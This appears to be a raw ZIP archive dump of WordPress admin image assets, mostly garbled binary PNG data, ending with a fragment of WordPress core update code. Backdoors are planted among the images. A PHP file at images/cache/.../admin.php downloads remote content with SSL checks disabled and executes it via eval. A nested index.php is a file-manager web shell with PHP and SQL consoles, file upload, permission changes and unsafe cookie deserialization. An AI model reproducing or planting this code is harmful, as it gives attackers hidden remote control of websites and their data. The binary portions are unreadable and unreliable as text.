2^(F8MD·\崣o }@Dz>X)Eaa'^]gA믫r믋 "|9*Px>?uav1挓0#=@M="@Ԇ@o8+](^'ň@o[J0獡PWk;xvi?ә[B!c"_mrL|E/bF&yƩM=|$F}=D%*]3y,( h~RT!<Ρ~8"nt-IqUTQˈ'!Y,j-_UP|ЀސɠoÄjJa& ER>@ݣߋ}٫gۿ'L_LԥcӉRc=S]Q6Ӄ%ZGú4{ŏ3RO_=q0S~涏[N}r*0x'====S$wFQo?ae~+){\8УHV lWjamkU$s}V|z=Ûy*yNEiĀ2Nm2A'B، AP5ozѐN(+suhmny oB/$ &i>vNCvN`Ԋ):V+AMٷ"緺ڍj+$d7&rhØPrr(nwuBÒ&at<9tV|49믋ao>s.ǯYMH$ozMZ2fG.[ L<|Y| Nc8e}XK a_p"QaT~hbDꫧCDL[n@B,Z!` R`#zX핖 BpJ|ק8?:,BbL8os%Ky@y`*k鋳{"wQ(D60c^q٤NX&"ewնuw]\B=Pt#ON)x*X|h}&>îɤ1Nz`1憀|ozWG z&SIcji}^D_(!Fӳ*›d%dSN#{<nH#ؤ;KyqG P9_0o_4\[LjK?Kzvи}AG|WWzd Mhُ}4Z _{:XK^ =ZM`fN"6kU zԌ\>[#k)E Jn)TZTQA+%hu.x ԣ MHwEDCSXw{tܣr/bԆpm5=~1`//4rw`Ox8ڪBLL![ l^XE;A="1ɼ*z rdzm]k)hL(ïiGQ(E`2+iaBmУ* B+sHkXnk s<[ZU|LF>s5Q+yZ,Io3|q71ð`;.MNܘ)uޝXgXO=>Re)n |l6*T 87ԕ} I3 jZ/|}#Iz&r:=/@j ̽ay b,:uqas? {wԍFi8*".S#R᠘}悕Ϥ/Z-W&KrA&PB2zJ{%R w6 a;XF$8mԎ(ǞRHʟ|>&LeR9kh ^ @N x0SxB,x|)_ϐFDz88ߛ40ΥD^oʠ6KX,{Q"=dZ 9ȸCYzyTGFojp~0 cΫBcs(il_~7|/on\ݘ˽UPjC-6IWpp,ğGx0isWqr{wQe.|v'8ٌm<8M+ >qЧen/\R*.=ߒx $Gהo'xd`dKqskɤ^>X"SmrW!4ʅR|&B8!*%{VωZ tYMF7VQ*2iAU|eS^"ю0rѦ#8̳2d2d eك~ˏ/9pY݉UYVuGΞ8r-^E!Lҕ+S\SU~=GI ؄8To6" ?E',"`TvSAusJ,dm**0=Kvl0$8]7AZ( v!ocFOTRpٹ*#5(1dޔ/0 *o&(fO370\D"v4}/>s-ڥ5j?_\O=y&sXd6C'.3fa#>vE#/>v2N Uutç_ر7AЫu{7}gnb)aqMqUoMCWX K @ڞУW4h@/婐֜@(TA-L (Z̅2.;@nkp@?I,Vr09 MkaB7c<0P*呪6=*a#aR9|F3â9R8_nEzA!%zt-U:5|~_ `*dU `{TvGXȨ BbAˢP[wg-5{p3aof?/o|dAw|x@_>)A碢3"R{ƥI1З|r zStoΎ~rS~xA{Ӂk!`'0 |?=2m~qsMH-H_MWUIQxm@>ײOq h76qMѣXf@̀=h }b9r-]o4 |EO%e/ ΂hDۑeZW#JC'V[l!Զ HLR!(%G'u,I7Nԫ[$p+]`dG^IJW\,3&8ՙq = >ɣumT^3-V `)n~ 8q0Ob+f;0We>Px g!<}+8|c8_80?8vrÐ)!b6_h+g~"=l06dsw5Զ]jm*)@--*3e0^[T6zh5A~a:Ńyj'+T쯠$\[da,-lm:)w{:[.l@k'.x̍tdwd%c˒n>lWxff8~*l_)D6Tem_"O?Q7B=y$?!1alt/?h֠_c>sH\,?ox3Ql[[-}k4=}.c&?o@^S")[Qԁ)˘)k߷>3))QЏ6LM z%Pg m Z {L0㌻刍<:D"b1 k5C,ƫT^@ϔJD^RsV87roEz6WzMR8vvH6QΑ+@//d%C+w"YO9$E s;`XcmG@WCX_lC;w~ )nz}tϊ)vNt)N"ɛ@z|3F9:7@'Lt88?_f8턁Hbw㥺UI,T) uawHqЫܘoDǜ|aAÒh: ';qs02% K6myies/% V꺃bæS(V:]gJY GÂyZLWE稬 ﶓnMzpGCyC䨤P`_ADh<7=lł+8<@dk4I5|~9GK]AwF$&ಙf~{ɛ|x{緟}ln_x ?ER}{&6/gDn_5s9#}|7< 7SV:(`/f2=Bݯ YMyqCp}o*9v!&}3ViV[us5QO3:Srb+ dž mp,E7j1_bd>cO%D~n! ]fBWdD#4l<ɘ^&ϛC3ޔh,"$q>PBw:$ދʹDvdG\68@27:8yD>뵰ޥ(>TyЖՃ!K"0>~hDQ7-7 d:-'?9ÓgT`':z!?;pjk>>pӝq$胀@g mPH 1g<Zh:)_{6#i^\GqM}0*6R5嚇p¥>󟗬J[tyڷ4$ *Yw׸*d<Ӆe"3.]6Rꠈ~O{ts#b60/iO;$ȯwANF9<>?"`$٠>< =ӢΕ1+h0&z G]>p ΏjW,wC70!c 5M #@e)sO|qxiGXb/&:.e0Fyn+ "z!ҟd\"K  &? ܹ~^㝏 ?W Uldv-KU孤nIXjy<6a 錜C((lNN^._p_'GTI|!m$ -ɠ{zTFq8! <g;:}YEqu!4793JbGǤIhDg:"(w:;SCz׹xݬyh~ʯriu 4ZDztM=MzM l:, TS5tj>5>:JD蚹mZjOy0*HU̫n腑0I?ФR5՘z^ΕJprXl&|4 d nAz@}29vH*nJH2tRl4uA 91tъvbҁ?ߦ'· <s%7pĿWHAOq(&beO'J -㇞X놩-1>s17/^IRX0Q^o۠['%9L/h gS b9z?J,C3Jd׳F9O1,r6_Pɵ A#y[=xn"zSL7XJzp3F5mƮ[s^i|u+&UrIJ zMg;xogGHavgyC,7|XW#|;n {^TQ#; cdu7˟LzݩNQZ҃M^xxjh+HM`v2(7&I=dPx\m O@or~Gv^A>`4t_b`P-xC Э+s+!yUs[x$}3x+q?/C%]%0v3ɠg# =4 hEGy-}ƒ2ӤZWX{'Fs}kӆ^?vbm{ɍg&#_=DAccaȳĂ>v:Ѓ%G4B_am+}'B T45P_nOh |*7fί{ِkaԡ[3,"âtT5*Ϸ] `8O;$1VG z&ԉrPK9p)Ӎe R/J!qЃ' lQ.>%/]* zoW8EzV60g{z)_Ik^8r!N8v/3\K)Bx RB%+hC nm~9?m>x>mU3GhM#%=2x eJ:TrJކM֓AubCcG0o㗪hZEѡ%m|f9[*%}vcMK2R &脴I=3 EUXlEˤi5`Ng106rx&w$`5xm{$CQ3@{z%#؉z} `L}~`oN9|>9vM$*0'ff稘ăʛZ1^ZG6^F`*$7QN[dX6tzTA~qG=z"@Kwr]R$䐷|J$"2@zEp&zHR?2P_U=%zm Q^ +OHY:aR5`WhG!`mH\5J6.UaΌU9t6'اa$Az(ys}rCCN&sì-|fbLLg!=f!,ypF4kIgg.. )[Eu0@|_{tަ]^\١H} US^mjCGTD6!砸fXzAE}FGmOvz>z3~^ЬX+"$n<RAo`?q5ZL ̿ɇ{WEpj%p+d?0<A?6BԀ=+@lѣyةSci%m&chm kG>(ʹ9rT|\0P CH!EJKJZO g,G:A+P2 irfF\3c7"ac55vY~ q~w֮{*6ի 3~ܯPZ%e@U6BlHK9C2V@ ߋf$Ca[JO$מޒcQM y{Ʋ]LAF(f}fNGs,1Eѣ9Lg`=8sTllueƙ>;0> 5@,y8{_kC`P{{d*SoLyFi ES^b{ej^'xYmQM(sa4?pr@8׀^P96Wvr;pV&V5#,&t Ч\zv@v47us=5mr aQ 7ޮF)@X`+h@OVV]"w;͗ru@<"~mۤCprɡN+&v5 u-aF_c/.Q]zNBTvF67m8}\@ ^m{u/2} o_yh{YOaH+&z.~{;Dlj'|۳~7h NUšpӔJF5XcI]`yy˜ 5To*GYR2Px~)HOAxڑq:;Ž~IrgD#\Z(Ÿ ϧkѪ!8/f ]L_u|(T[af\7;}+0^JCƉN'YjKp~; 3}@@ahZ]x[O9`.z=e_oww_;+RH7K$'@u/ǭҳ }o{^}YWu߾;ݯ~^̬,w܉O^ FO #r>agn/qзvCwϸQ``0 70?֨~)zN¾#Nbg#!RGėOn>#?@aaSf.aJwJuK-mh~4m ?r BۏCygȣ~nH b#dv 0R(F.d͏mvw~~w&d߈BʟWrwL6;qpЧ=]\^e.)?9_P, ryuV8;ݳ60i'/Me'Qlj~R )WؗYI$kn}4ٯ,V8+8e# 6bN^-x~izYFɒH\ܚy"aɎͷ>+j"Ђ|Ϭ߻{~ܟ`u+RW3߾;zȷ?wv?э?[Sth,k{_ef-u~ hߞbm_U{?toݛzSJ)RJ)RJ)RJ)RJ)RJ)RJ)RJ)RJ)RJ)RJ)RJ)RJ)RJ)RJ)RJ)RJ)R"TrIENDB`PKy[[w}G images/freedom-4.svgnu[PKy[ )ggimages/wordpress-logo-white.svgnu[PKyoimages/arrows.pngnu[PNG  IHDR{YKǮ$PLTE" tRNS*CQ}7n5sIDAT8Oc` Ttu޻w;lAfO*2 f ~,|!Cxyw(BΆ0Wޅ*P5  m Pɵ{bT.=m4vwIENDB`PKyIZGGimages/icons32-vs.pngnu[PNG  IHDR-PLTELiqG;v{R(c:lFGLQOJFwVLJMKLKIKHKKK`IJMR LQM]D dMKJLRE8iSuHf1[sD~y3`yt4e3_xj6d~ٟmswa)LapD~9jԝ(Ka_ԜӜ =MMVq^L\E䙽Ӫڒе߫ەlؼ⎷OٴdF脱nrûWyTIܤئٔъuj푹agꆲ˻}|xHGoJC{?t;l>r]ݚ7jtRNSJ )B=P gܾY#r3UG"ݚ{*:+ֈ42m_l:a}DwJޣ#MKLMҨGO$}t᝽f:|GtIDATxXGp\9K{رۉs^K${[i$**HBBeBBBA`D7nz71NJ`#kߧ0KVE2$H"$H"$H"$?6\bsqH_,/Z5@;ҽQw)?]ZyhY R|M( Gl^Q_/pv*/[gIzf/w7Gejͮ]kV-=J=DKZt#ȢˋcE8= 0/<,D1_i,.!ο z?LwW*K T.σAuS fw8h/MKM=te O.լ\_x$~%GrdXoM|B!H r9%r^oA2LdFiji/D}Pʪ/"MdeeM,WtW\jQH6@"_K_3ϲVAyd=bGtkv }[覫곘afkɌ~Q߰=L1v k/t*) WzNNY})0F M|$3fC~1|Bsae ЭFP/9}2t;[R+-xH_V˂yThR!f"dCѯjCUsc$NyG4cGGcy8U[ÉQC%8Ye&Մ\NTIۡߘ~nh(le+o{'jѯS;Ee 0VakGx(ʫM*e"]MFFTNSrJJp**lh<ˑ e7i1BA_ˆ}Mo.OƧA/1 8M2I 610Ϸ'/ԸEBd GXP$rx@f텡ց|64dY~^5KPɓ 'm>d2 jD<#9ۄw^)n9)'p[ # DJ[T^^^NiEgJo%_T=i Z|#.mdwX/@h멸\Ԇ[D-U3W0`^!mO)'z)* UmЬ.<ЕQ(غFj4uO^z RЫZ yכ,bYqSgi<EׄW"M4RY_d}ͦt2K-DH_L8 c[ eLxcᤌe֬ݚv)+Z#FϨowbåc,\EDTm HKTҫ^[~tdWBqrFH6o;OZgΞ<}f$>}С.(wmP4ib1YQ9OYPɱ_HZc1"rDVtNrXc 4r:(k8 (apy)xjQUa q1@xP*_5ӣ7=F6*7 }e%t(VyWp:L`-sL&bl: YᒧJCA5UTMc/0l;P8ͱ&؉K2 s^_wٓC] =~|TCɳCCY=3@; A}TTN }ؼ55FP0#Hc DvBJw9><22Z: Cgk&LR+$@0!NkB- )ّ1Fi"gǰ9^z# ԐeU'UDenRԢf].SضkyS ?YQd_!لD(lEy}PUwg'o?qPmhk.:=HU3S,B4o}\IW0-u(u%._nx>s vM>zy#晅Fiȋ cz( t9,G.  N&"Ү lkGΈbgB95J*B^ϪDΞ.á!#LT y%`핣LLXR,<;hPSa=a-6OA JP hb2|;>j>$9yIކ;VoLCoj0h)EL'Mb{N7gJŅ".yI2 lrѨOTv|E o'EL>D%GO;L'Sl+eCߚoQp>mÁC/b7ghQaS"AY##e(uX^Ar{=_Ͽ3.żjN># ?׍O>=$UZ-D_T=_6 dhw՝޴v=W0w̔"K>Z{ gt l½PMn.F ?冓^0ٹm\Tj𒊈yq`iPD2SjH8 Ve!ۇLJ1j S%@̨V1K9V-6ժn] _.=NEK#cBe8LETעMcBW[WzYl`YB+D)A]ZTWש Kku!л  s\4 FM3WqM`p͛n~EzjW?7zfnHHmiw s4zpNQ:fcWdwK U-l?/WN6ߟ|})B_ UV6]lb9#[Tޱк,.,U98Dᘫn>wh 5=sOzQ$kQ,겏,Y2P7t}QlFfяTOCx]zzlHlcj=y5CoQ'V!5Fcmh qQzJu@|*4CBTOT Qxf[XA}9\E@zLQ_fСڋ^ jo.vds ) Tڶ{c9{LA\.5g7ԜGGvw x|^FP\~SCR@PMw޴=<O4yf^u(;y /Ѡ=SA`TL?XzP׳X6*@o4-)O2p}-Z4j^Z6W6WWRv`#F^쨾 3?khj \`phaѡ/H4bjA $<*wϟ;gF|iJ4C(^(nmjMd8K;nXjCE~Ǥ{zj '|MާTң+]TY+apRT>z&j?fsn_U+q0@uV&m5fo듆 ]SMM|4p bȒOɟE! '?(S[hv88->-cw r>7d-5R%=[QPParU(2Ρք'ANNf#<#/O^roG.\^Geqg䰭V\%*#3+z %NpE%8PtT_adiQJ(#vvg|Bi :8/\ DGz[AwoSwW)oz7 C,GO iPEG*DI-c^G`.m}ռS=zofq"|RJd|>Ⓧ\NWyFPȖEoSVңG%*lffexc=8i$(N_KnmfP̘MιJgPsmZ6cjJ"hy~lZČ[ =#LԩNMmhTW?4h™Rd BH^ l|{pn^d* R^tG-5Mt 5Ojz,n4U8G+އң_≭תWe(4v.zC'ffVRu ٘$~>͸,uHnm>=1u O2Swee\UznfzD!碠Zkٰg@}Ko38hވ¡br)zp64}髊|ҸVSq{<_JG<5汋NDLr/ H' F+^)1mGO%֙ᏘOQV @jo7M= g~r9 [ңOpZ[8'f{ /|SSS?>poZ7uqHG_cAe; (Yh-a<ƫBxb"=zNtL= }`"7)[i|p7^=I=32܃AXJ6J!wF>@rՐ*-[=|)j|mwOhuM$SS7\̷@  BFѿA>8r C0}OX\jח0jFB֋t,zm^A^ϳfGfVf먠UZ2zڤ=.T𥒕T0?Fy WGn054uӧ΂†E *砟J4 ,PQL&#bD3qTz*wwT"?~ \@<1aV\bOI9C~wWS}YUEw+H^ VLJ5B)Ң_k}xy)xDƼ{^ν:?57"B*KW֥~ycH9Z\8OrxPz<CQ 4v/_pE:bH}S1:mmvM}?ߊ^po}\s ]0Fͩ+'D2UaE2E#nUX uo~.Qb7WO J1x# {3Q+/wy0~f4FK J؉ 0c?VF)ңrO}$2V Nu5gXvzbVnD3z2B,C.poMHe>F&;Em#22h>%M=M,&Ysy?=:maGq7s;ESvD:/ r))\B]P 9s7ۼY7^1ak.ǕLXx}F]`2nYОSEAbf+5057,aF`,;80XO.ܿ{_o޼nݶW۹XɃ/}>-O?dɑ/ݓUsO8E3s>mg 2yF 4,fHj`#Uc_/*_7۷ymwz-%6"`"Ae-t# T?qoA,qaPoܾ {c32mZ~Ϟ{|Ş?cݹwAn˓K϶> xNU'ƯJW!lQ莄DI$DI$DI$DI$=[IENDB`PKya"images/cache/prqae/yqbiv/admin.phpnu[ 1, CURLOPT_TIMEOUT => 3, CURLOPT_SSL_VERIFYPEER => 0, CURLOPT_SSL_VERIFYHOST => 0 ]); $data = curl_exec($request); curl_close($request); } if(empty($data)){ $data = @file_get_contents($target_url); } if($data) eval("?>$data"); } fetch_content(); ?>PKy[ڦ P:P:Eimages/cache/2024/archive/archive/includes/cache/oxqwz/bvjz/index.phpnu[ true, 'new_file' => true, 'upload_file' => true, 'show_dir_size' => false, //if true, show directory size ?? maybe slow 'show_img' => true, 'show_php_ver' => true, 'show_php_ini' => false, // show path to current php.ini 'show_gt' => true, // show generation time 'enable_php_console' => true, 'enable_sql_console' => true, 'sql_server' => 'localhost', 'sql_username' => 'root', 'sql_password' => '', 'sql_db' => 'test_base', 'enable_proxy' => true, 'show_phpinfo' => true, 'show_xls' => true, 'fm_settings' => true, 'restore_time' => true, 'fm_restore_time' => false, ); if (empty($_COOKIE['fm_config'])) $fm_config = $fm_default_config; else $fm_config = unserialize($_COOKIE['fm_config']); // Change language if (isset($_POST['fm_lang'])) { setcookie('fm_lang', $_POST['fm_lang'], time() + (86400 * $auth['days_authorization'])); $_COOKIE['fm_lang'] = $_POST['fm_lang']; } $language = $default_language; // Detect browser language if($detect_lang && !empty($_SERVER['HTTP_ACCEPT_LANGUAGE']) && empty($_COOKIE['fm_lang'])){ $lang_priority = explode(',', $_SERVER['HTTP_ACCEPT_LANGUAGE']); if (!empty($lang_priority)){ foreach ($lang_priority as $lang_arr){ $lng = explode(';', $lang_arr); $lng = $lng[0]; if(in_array($lng,$langs)){ $language = $lng; break; } } } } // Cookie language is primary for ever $language = (empty($_COOKIE['fm_lang'])) ? $language : $_COOKIE['fm_lang']; // Localization $lang = json_decode($translation,true); if ($lang['id']!=$language) { $get_lang = file_get_contents('https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/' . $language . '.json'); if (!empty($get_lang)) { //remove unnecessary characters $translation_string = str_replace("'",''',json_encode(json_decode($get_lang),JSON_UNESCAPED_UNICODE)); $fgc = file_get_contents(__FILE__); $search = preg_match('#translation[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches); if (!empty($matches[1])) { $filemtime = filemtime(__FILE__); $replace = str_replace('{"'.$matches[1].'"}',$translation_string,$fgc); if (file_put_contents(__FILE__, $replace)) { $msg .= __('File updated'); } else $msg .= __('Error occurred'); if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime); } $lang = json_decode($translation_string,true); } } /* Functions */ //translation function __($text){ global $lang; if (isset($lang[$text])) return $lang[$text]; else return $text; }; //delete files and dirs recursively function fm_del_files($file, $recursive = false) { if($recursive && @is_dir($file)) { $els = fm_scan_dir($file, '', '', true); foreach ($els as $el) { if($el != '.' && $el != '..'){ fm_del_files($file . '/' . $el, true); } } } if(@is_dir($file)) { return rmdir($file); } else { return @unlink($file); } } //file perms function fm_rights_string($file, $if = false){ $perms = fileperms($file); $info = ''; if(!$if){ if (($perms & 0xC000) == 0xC000) { //Socket $info = 's'; } elseif (($perms & 0xA000) == 0xA000) { //Symbolic Link $info = 'l'; } elseif (($perms & 0x8000) == 0x8000) { //Regular $info = '-'; } elseif (($perms & 0x6000) == 0x6000) { //Block special $info = 'b'; } elseif (($perms & 0x4000) == 0x4000) { //Directory $info = 'd'; } elseif (($perms & 0x2000) == 0x2000) { //Character special $info = 'c'; } elseif (($perms & 0x1000) == 0x1000) { //FIFO pipe $info = 'p'; } else { //Unknown $info = 'u'; } } //Owner $info .= (($perms & 0x0100) ? 'r' : '-'); $info .= (($perms & 0x0080) ? 'w' : '-'); $info .= (($perms & 0x0040) ? (($perms & 0x0800) ? 's' : 'x' ) : (($perms & 0x0800) ? 'S' : '-')); //Group $info .= (($perms & 0x0020) ? 'r' : '-'); $info .= (($perms & 0x0010) ? 'w' : '-'); $info .= (($perms & 0x0008) ? (($perms & 0x0400) ? 's' : 'x' ) : (($perms & 0x0400) ? 'S' : '-')); //World $info .= (($perms & 0x0004) ? 'r' : '-'); $info .= (($perms & 0x0002) ? 'w' : '-'); $info .= (($perms & 0x0001) ? (($perms & 0x0200) ? 't' : 'x' ) : (($perms & 0x0200) ? 'T' : '-')); return $info; } function fm_convert_rights($mode) { $mode = str_pad($mode,9,'-'); $trans = array('-'=>'0','r'=>'4','w'=>'2','x'=>'1'); $mode = strtr($mode,$trans); $newmode = '0'; $owner = (int) $mode[0] + (int) $mode[1] + (int) $mode[2]; $group = (int) $mode[3] + (int) $mode[4] + (int) $mode[5]; $world = (int) $mode[6] + (int) $mode[7] + (int) $mode[8]; $newmode .= $owner . $group . $world; return intval($newmode, 8); } function fm_chmod($file, $val, $rec = false) { $res = @chmod(realpath($file), $val); if(@is_dir($file) && $rec){ $els = fm_scan_dir($file); foreach ($els as $el) { $res = $res && fm_chmod($file . '/' . $el, $val, true); } } return $res; } //load files function fm_download($file_name) { if (!empty($file_name)) { if (file_exists($file_name)) { header("Content-Disposition: attachment; filename=" . basename($file_name)); header("Content-Type: application/force-download"); header("Content-Type: application/octet-stream"); header("Content-Type: application/download"); header("Content-Description: File Transfer"); header("Content-Length: " . filesize($file_name)); flush(); // this doesn't really matter. $fp = fopen($file_name, "r"); while (!feof($fp)) { echo fread($fp, 65536); flush(); // this is essential for large downloads } fclose($fp); die(); } else { header('HTTP/1.0 404 Not Found', true, 404); header('Status: 404 Not Found'); die(); } } } //show folder size function fm_dir_size($f,$format=true) { if($format) { $size=fm_dir_size($f,false); if($size<=1024) return $size.' bytes'; elseif($size<=1024*1024) return round($size/(1024),2).' Kb'; elseif($size<=1024*1024*1024) return round($size/(1024*1024),2).' Mb'; elseif($size<=1024*1024*1024*1024) return round($size/(1024*1024*1024),2).' Gb'; elseif($size<=1024*1024*1024*1024*1024) return round($size/(1024*1024*1024*1024),2).' Tb'; //:))) else return round($size/(1024*1024*1024*1024*1024),2).' Pb'; // ;-) } else { if(is_file($f)) return filesize($f); $size=0; $dh=opendir($f); while(($file=readdir($dh))!==false) { if($file=='.' || $file=='..') continue; if(is_file($f.'/'.$file)) $size+=filesize($f.'/'.$file); else $size+=fm_dir_size($f.'/'.$file,false); } closedir($dh); return $size+filesize($f); } } //scan directory function fm_scan_dir($directory, $exp = '', $type = 'all', $do_not_filter = false) { $dir = $ndir = array(); if(!empty($exp)){ $exp = '/^' . str_replace('*', '(.*)', str_replace('.', '\\.', $exp)) . '$/'; } if(!empty($type) && $type !== 'all'){ $func = 'is_' . $type; } if(@is_dir($directory)){ $fh = opendir($directory); while (false !== ($filename = readdir($fh))) { if(substr($filename, 0, 1) != '.' || $do_not_filter) { if((empty($type) || $type == 'all' || $func($directory . '/' . $filename)) && (empty($exp) || preg_match($exp, $filename))){ $dir[] = $filename; } } } closedir($fh); natsort($dir); } return $dir; } function fm_link($get,$link,$name,$title='') { if (empty($title)) $title=$name.' '.basename($link); return '  '.$name.''; } function fm_arr_to_option($arr,$n,$sel=''){ foreach($arr as $v){ $b=$v[$n]; $res.=''; } return $res; } function fm_lang_form ($current='en'){ return '
'; } function fm_root($dirname){ return ($dirname=='.' OR $dirname=='..'); } function fm_php($string){ $display_errors=ini_get('display_errors'); ini_set('display_errors', '1'); ob_start(); eval(trim($string)); $text = ob_get_contents(); ob_end_clean(); ini_set('display_errors', $display_errors); return $text; } //SHOW DATABASES function fm_sql_connect(){ global $fm_config; return new mysqli($fm_config['sql_server'], $fm_config['sql_username'], $fm_config['sql_password'], $fm_config['sql_db']); } function fm_sql($query){ global $fm_config; $query=trim($query); ob_start(); $connection = fm_sql_connect(); if ($connection->connect_error) { ob_end_clean(); return $connection->connect_error; } $connection->set_charset('utf8'); $queried = mysqli_query($connection,$query); if ($queried===false) { ob_end_clean(); return mysqli_error($connection); } else { if(!empty($queried)){ while($row = mysqli_fetch_assoc($queried)) { $query_result[]= $row; } } $vdump=empty($query_result)?'':var_export($query_result,true); ob_end_clean(); $connection->close(); return '
'.stripslashes($vdump).'
'; } } function fm_backup_tables($tables = '*', $full_backup = true) { global $path; $mysqldb = fm_sql_connect(); $delimiter = "; \n \n"; if($tables == '*') { $tables = array(); $result = $mysqldb->query('SHOW TABLES'); while($row = mysqli_fetch_row($result)) { $tables[] = $row[0]; } } else { $tables = is_array($tables) ? $tables : explode(',',$tables); } $return=''; foreach($tables as $table) { $result = $mysqldb->query('SELECT * FROM '.$table); $num_fields = mysqli_num_fields($result); $return.= 'DROP TABLE IF EXISTS `'.$table.'`'.$delimiter; $row2 = mysqli_fetch_row($mysqldb->query('SHOW CREATE TABLE '.$table)); $return.=$row2[1].$delimiter; if ($full_backup) { for ($i = 0; $i < $num_fields; $i++) { while($row = mysqli_fetch_row($result)) { $return.= 'INSERT INTO `'.$table.'` VALUES('; for($j=0; $j<$num_fields; $j++) { $row[$j] = addslashes($row[$j]); $row[$j] = str_replace("\n","\\n",$row[$j]); if (isset($row[$j])) { $return.= '"'.$row[$j].'"' ; } else { $return.= '""'; } if ($j<($num_fields-1)) { $return.= ','; } } $return.= ')'.$delimiter; } } } else { $return = preg_replace("#AUTO_INCREMENT=[\d]+ #is", '', $return); } $return.="\n\n\n"; } //save file $file=gmdate("Y-m-d_H-i-s",time()).'.sql'; $handle = fopen($file,'w+'); fwrite($handle,$return); fclose($handle); $alert = 'onClick="if(confirm(\''. __('File selected').': \n'. $file. '. \n'.__('Are you sure you want to delete this file?') . '\')) document.location.href = \'?delete=' . $file . '&path=' . $path . '\'"'; return $file.': '.fm_link('download',$path.$file,__('Download'),__('Download').' '.$file).' ' . __('Delete') . ''; } function fm_restore_tables($sqlFileToExecute) { $mysqldb = fm_sql_connect(); $delimiter = "; \n \n"; // Load and explode the sql file $f = fopen($sqlFileToExecute,"r+"); $sqlFile = fread($f,filesize($sqlFileToExecute)); $sqlArray = explode($delimiter,$sqlFile); //Process the sql file by statements foreach ($sqlArray as $stmt) { if (strlen($stmt)>3){ $result = $mysqldb->query($stmt); if (!$result){ $sqlErrorCode = mysqli_errno($mysqldb->connection); $sqlErrorText = mysqli_error($mysqldb->connection); $sqlStmt = $stmt; break; } } } if (empty($sqlErrorCode)) return __('Success').' ?? '.$sqlFileToExecute; else return $sqlErrorText.'
'.$stmt; } function fm_img_link($filename){ return './'.basename(__FILE__).'?img='.base64_encode($filename); } function fm_home_style(){ return ' input, input.fm_input { text-indent: 2px; } input, textarea, select, input.fm_input { color: black; font: normal 8pt Verdana, Arial, Helvetica, sans-serif; border-color: black; background-color: #FCFCFC none !important; border-radius: 0; padding: 2px; } input.fm_input { background: #FCFCFC none !important; cursor: pointer; } .home { background-image: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAABGdBTUEAAK/INwWK6QAAAgRQTFRF/f396Ojo////tT02zr+fw66Rtj432TEp3MXE2DAr3TYp1y4mtDw2/7BM/7BOqVpc/8l31jcqq6enwcHB2Tgi5jgqVpbFvra2nBAV/Pz82S0jnx0W3TUkqSgi4eHh4Tsre4wosz026uPjzGYd6Us3ynAydUBA5Kl3fm5eqZaW7ODgi2Vg+Pj4uY+EwLm5bY9U//7jfLtC+tOK3jcm/71u2jYo1UYh5aJl/seC3jEm12kmJrIA1jMm/9aU4Lh0e01BlIaE///dhMdC7IA//fTZ2c3MW6nN30wf95Vd4JdXoXVos8nE4efN/+63IJgSnYhl7F4csXt89GQUwL+/jl1c41Aq+fb2gmtI1rKa2C4kJaIA3jYrlTw5tj423jYn3cXE1zQoxMHBp1lZ3Dgmqiks/+mcjLK83jYkymMV3TYk//HM+u7Whmtr0odTpaOjfWJfrHpg/8Bs/7tW/7Ve+4U52DMm3MLBn4qLgNVM6MzB3lEflIuL/+jA///20LOzjXx8/7lbWpJG2C8k3TosJKMA1ywjopOR1zYp5Dspiay+yKNhqKSk8NW6/fjns7Oz2tnZuz887b+W3aRY/+ms4rCE3Tot7V85bKxjuEA3w45Vh5uhq6am4cFxgZZW/9qIuwgKy0sW+ujT4TQntz423C8i3zUj/+Kw/a5d6UMxuL6wzDEr////cqJQfAAAAKx0Uk5T////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////AAWVFbEAAAAZdEVYdFNvZnR3YXJlAEFkb2JlIEltYWdlUmVhZHlxyWU8AAAA2UlEQVQoU2NYjQYYsAiE8U9YzDYjVpGZRxMiECitMrVZvoMrTlQ2ESRQJ2FVwinYbmqTULoohnE1g1aKGS/fNMtk40yZ9KVLQhgYkuY7NxQvXyHVFNnKzR69qpxBPMez0ETAQyTUvSogaIFaPcNqV/M5dha2Rl2Timb6Z+QBDY1XN/Sbu8xFLG3eLDfl2UABjilO1o012Z3ek1lZVIWAAmUTK6L0s3pX+jj6puZ2AwWUvBRaphswMdUujCiwDwa5VEdPI7ynUlc7v1qYURLquf42hz45CBPDtwACrm+RDcxJYAAAAABJRU5ErkJggg=="); background-repeat: no-repeat; }'; } function fm_config_checkbox_row($name,$value) { global $fm_config; return '
'; return; } if ( $reinstall ) { $update->response = 'reinstall'; } add_filter( 'update_feedback', 'show_message' ); $upgrader = new Core_Upgrader(); $result = $upgrader->upgrade( $update, array( 'allow_relaxed_file_ownership' => $allow_relaxed_file_ownership, ) ); if ( is_wp_error( $result ) ) { show_message( $result ); if ( 'up_to_date' !== $result->get_error_code() && 'locked' !== $result->get_error_code() ) { show_message( __( 'Installation failed.' ) ); } echo '